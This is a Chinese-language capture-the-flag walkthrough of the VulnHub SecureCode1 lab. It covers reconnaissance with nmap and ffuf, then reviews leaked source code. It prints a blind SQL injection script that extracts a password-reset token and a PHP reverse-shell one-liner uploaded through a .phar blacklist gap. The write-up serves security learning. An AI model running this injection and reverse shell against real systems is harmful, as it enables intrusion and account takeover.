SecureCode1-vulnhub靶机👻
SecureCode1-vulnhub靶机👻
下载地址:https://www.vulnhub.com/entry/securecode-1,651/
描述
主机探测
nmap -sn 192.168.33.0/24
nmap -sS -p- -v -A 192.168.33.75
发现目标机器开启了80端口
web探测
- 访问IP得到如下页面:
- 目录扫描发现如下文件
命令:
ffuf -u http://192.168.33.75/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak -o ffuf.txt -fs 3650
我们发现一个source_code.zip
文件,应该是源码文件吧,下载下来看看,目录结构如下:
我们看看login
页面是一个登陆页面,进不去,看到有一个忘记密码
功能,点开发现能够测试出admin
账号出来,然后他会发一个重置密码的邮件到你的邮箱,邮箱是啥不知道。
源码分析
刚刚我们获得网站的源码,接下来看看源码吧。
- /login/resetPassword.php
- 生成了一个包含 15 个字母数字字符的令牌并发送到管理员邮箱
- 我们可以通过以下方式重置管理员密码 http://192.168.33.75/login/doResetPassword.php?token=<TOKEN>
function generateToken(){
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < 15; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function send_email($username, $token){
$message = "Hello ".htmlentities($username).",\n";
$message .= "Please follow the link below to reset your password: \n";
$message .= "http://".gethostname()."/doResetPassword.php?token=$token \n";
$message .= "Thanks.\n";
// get user email
$data = mysqli_query($conn, "SELECT * FROM user WHERE username='$username'");
while($result= mysqli_fetch_array($data)){
$email = $result['email'];
}
@mail($email, "Reset Your Password", $message);
}
- /item/viewItem.php
- 服务器中的大部分内容都需要经过身份验证的访问,除了这个
- id 易受 SQL 注入攻击的参数
- mysqli_real_escape_string 方法只清理一些特殊字符
- 用户输入没有被完全过滤,我们仍然可以在没有任何特殊字符的情况下执行 SQL 注入
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);
- /item/updateItem.php
- phar后缀能够上传文件
# 黑名单列表,没有phar后缀
$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");
if(isset($id, $id_user, $name, $imgname, $description, $price)){
$ext = strtolower(pathinfo($imgname)['extension']);
if(!in_array($ext, $blacklisted_exts)){
$up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$imgname);
$res = mysqli_query($conn, "UPDATE item SET name='$name', imgname='$imgname', description='$description',price='$price' WHERE id='$id'");
- 测试SQL注入
真:返回空白页面
http://192.168.33.75/item/viewItem.php?id=1%20and%201=1
假:跳转到登陆页面
http://192.168.33.75/item/viewItem.php?id=1%20and%201=2
通过脚本跑出token
:(获取token之前进行忘记密码请求,从而生成token)
#!/usr/bin/python3
import requests
token = ''
position = 1
while(1):
for i in range(0,255):
url = 'http://192.168.33.75/item/viewItem.php?id=1+AND+(SELECT+IF(1,(ASCII(SUBSTRING((SELECT+token+FROM+user+where+id=1),' + str(position) + ',1))=' + str(i) + '),0))'
r = requests.get(url)
if r.status_code == 404:
token = token+str(chr(i))
position = position + 1
print(token)
if len(token) == 15:
break
通过token
重置管理员密码:
修改密码之后登录,发现第一个flag
然后我们刚刚分析源码不是还有一个phar
的文件上传漏洞吗,构造php的反弹shell文件上传然后在本地监听连接
反弹shell代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.132/3344 0>&1'"); ?>
然后我们在/var/www/
目录下发现第二个flag文件
总结
到这里我们的两个flag都找到了,这台机器只有两个flag文件。👻
有什么错误或者改进意见欢迎评论或发给我噢!大家一起共同学习!大佬多指教!!!!